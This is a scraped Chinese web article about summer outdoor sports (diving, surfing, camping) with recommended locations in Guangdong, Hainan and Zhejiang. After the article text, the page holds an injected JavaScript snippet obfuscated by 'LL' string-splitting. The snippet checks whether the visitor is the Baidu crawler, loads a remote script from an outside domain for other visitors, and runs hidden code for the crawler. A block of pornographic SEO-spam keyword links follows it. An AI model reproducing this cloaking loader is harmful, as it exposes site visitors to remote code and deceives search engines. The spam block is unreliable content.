<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 健康 > 運動健身 > 正文

      夏季戶外運動有哪些?

      2017-04-15 09:56:24  來源:360常識網   熱度:
      導語:暑假是一個較為長的假期,也好一年中日長最長的時候。這個時間段是我們運動鍛煉和戶外游玩的好時間。對于想要健身減肥的人來說,這是一個不

      暑假是一個較為長的假期,也好一年中日長最長的時候。這個時間段是我們運動鍛煉和戶外游玩的好時間。對于想要健身減肥的人來說,這是一個不能錯過的時間。對于想要去戶外游玩的人也是一個很珍貴的時間。那么在這里給大家介紹幾種夏季的戶外運動。都是好玩有實惠的哦。

      推薦一:潛水

      看膩了海面的風景,玩夠水上活動,可以體驗潛水的魅力,感受神秘的海底世界。沖浪體驗的是刺激的感覺,而潛水則能帶你進行一次神秘之旅。當你潛到更深一些的海底時,便能夠盡情地欣賞那些奇特的礁石、美麗的珊瑚、婆娑的水草、曼妙的生物……甚至可以跟身邊的魚兒嬉戲。在廣東內,珠海的東澳島、深圳的三門島是不錯的潛水地點;而海南的三亞和浙江的千湖島更是潛水佳點。

      推薦二:沖浪

      在熱氣逼人的夏日,不少人都喜歡到海灘玩水。或許,喜歡追求新鮮感的90后,并不會滿足于游水。其實,到海邊玩耍,除了游水之外,還可以體驗刺激的水上游戲。比如沖浪,近幾年也開始流行。沖浪是以海浪為動力,利用自身的高超技巧和平衡能力,搏擊海浪的一項運動。據了解,沖浪還可以起到塑身的效果。據愛好者介紹,廣東內的海島,適合專業沖浪的海島并不多,但是娛樂性質的話,還是有不少的選擇,比如深圳的海島、臺山的上下川島等。

      推薦三:露營

      如果你想與大自然進行更加親密的接觸,還可以跟著驢友們到戶外露營,感受“以天為蓋,以地為席”。為了讓行程更加豐富,夏天的露營多數選擇在海邊。某戶外俱樂部的領隊說,俱樂部的露營活動,多數以休閑為主,一般人都可以參加。比如,深圳的西沖露營,參加者既可以進行游水、釣魚、燒烤等活動,晚上又可以扎營海灘,放孔明燈、賞星空,更可以與隊友玩游戲或談心。他推薦,深圳西沖、小辣甲、惠東雙月灣都是夏天露營的佳點。

      戶外運動,很明顯就是到離開家都外面去運動。潛水,沖浪和露營都是適合一群人一起玩的戶外活動,能夠增加相互之間的感情,對我們的動手能力和身體的健康都有很大的提升。但是戶外活動也存在著危險,對于不會游泳的人潛水和沖浪就不建議。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 丁香五月婷婷综合激情在线 | 欧美韩国精品另类综合| 久久青青草原综合伊人| 狠狠色狠狠色综合系列| 亚洲va欧美va国产综合| 国产成人精品久久综合| 国产激情综合在线观看| 色欲综合一区二区三区| 欧美激情综合五月色丁香| 久久影院综合精品| 狠狠色丁香婷婷久久综合| 亚洲综合偷自成人网第页色| 精品亚洲综合久久中文字幕| 国产V综合V亚洲欧美久久| 色综合久久88色综合天天 | 在线综合亚洲中文精品| 久久91综合国产91久久精品| 国产成人精品综合久久久| 色欲香天天综合网站| 久久99精品综合国产首页| 人人狠狠综合久久亚洲88| 国产精品天天影视久久综合网| 国产成+人欧美+综合在线观看 | 国产91久久综合| 久久综合色之久久综合| 国产成人无码综合亚洲日韩| 美国十次狠狠色综合| 91精品国产综合久久婷婷| 一本色道久久综合| 婷婷久久综合九色综合九七| 琪琪五月天综合婷婷| 五月天激情综合网丁香婷婷| 激情综合婷婷色五月蜜桃| 成人综合久久精品色婷婷| 天天干天天色综合| 婷婷色中文字幕综合在线| 久久91精品综合国产首页| 久久综合狠狠综合久久97色| 色欲香天天综合网站| 久久婷婷五月综合色高清| 一本色道久久综合狠狠躁|